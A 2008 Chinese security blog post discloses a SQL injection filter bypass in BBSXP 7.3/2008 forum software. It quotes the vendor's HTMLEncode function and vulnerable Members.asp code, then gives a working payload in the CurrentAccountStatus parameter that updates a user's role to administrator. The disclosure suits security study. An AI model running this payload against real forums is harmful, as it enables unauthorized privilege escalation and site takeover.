BBSXP绕过过滤继续注入

    [阴 February 24, 2008 22:58 | by ]
-------------------------------------
注:本站首发,转载请保留,谢谢!
http://www.neeao.com
Neeao's Security Blog
-------------------------------------
By YaMato[BCT]
Date:2008-2-22
Version:BBSXP 7.3-BBSXP2008 sql

漏洞分析:

官方最新过滤函数HTMLEncode,这次过滤了字符* ,再一次绕过过滤注射
Function HTMLEncode(fString)
fString=Replace(fString,CHR(9),"")
fString=Replace(fString,CHR(13),"")
fString=Replace(fString,CHR(22),"")
fString=Replace(fString,CHR(38),"&") '“&”
fString=Replace(fString,CHR(32)," ") '“ ”
fString=Replace(fString,CHR(34),""") '“"”
fString=Replace(fString,CHR(39),"'") '“'”
fString=Replace(fString,CHR(42),"*") '“*”
fString=Replace(fString,CHR(44),",") '“,”
fString=Replace(fString,CHR(45)&CHR(45),"--") '“--”
fString=Replace(fString,CHR(60),"&#60;") '“<”
fString=Replace(fString,CHR(62),"&#62;") '“>”
fString=Replace(fString,CHR(92),"\") '“\”
fString=Replace(fString,CHR(59),"&#59;") '“;”
fString=Replace(fString,CHR(10),"<br>")
fString=ReplaceText(fString,"([&#])([a-z0-9]*)&#59;","$1$2;")
if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")&")",string(len("&$1&"),"*"))
if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi
fString=escape(fString)
fString=ReplaceText(fString,"%u30([A-F][0-F])","&#x30$1;")
fString=unescape(fString)
end if
HTMLEncode=fString
End Function
Members.asp漏洞文件作为测试:
SearchType=HTMLEncode(Request("SearchType")) //第8行
  SearchText=HTMLEncode(Request("SearchText"))
  SearchRole=RequestInt("SearchRole")
  CurrentAccountStatus=HTMLEncode(Request("CurrentAccountStatus"))
......
if SearchText<>"" then item=item&" and ("&SearchType&" like '%"&SearchText&"%')" //第18行
......
if CurrentAccountStatus <> "" then item=item&" and UserAccountStatus="&CurrentAccountStatus&"" //第22行

  if item<>"" then item=" where "&mid(item,5)
......
TotalCount=Execute("Select count(UserID) From ["&TablePrefix&"Users]"&item)(0) '获取数据数量
//第54行

看个sql语句:
select * from bbsxp_users where userid=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400)

变量userid绕过过滤成功执行了update
同理构造:
SearchType=1
SearchText=1
CurrentAccountStatus=(1)update[bbsxp_users]set[userroleid]=(1)where(username=0x79006C003600330036003400)


关于Bug.Center.Team:

Bug.Center.Team(又名:漏洞预警中心小组)是国内较早成立的以脚本安全为主要方向的网络安全组 织,致力于网络和脚本安全问题的研究,在对于脚本程序的修补、维护、漏洞检测都有专业水平,是国 内最专业、最经验的安全服务组织,有关Bug.Center.Team的详情请参见: http://www.cnbct.org
Technology | Comments(0) | Trackbacks(0) | Reads(7517)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive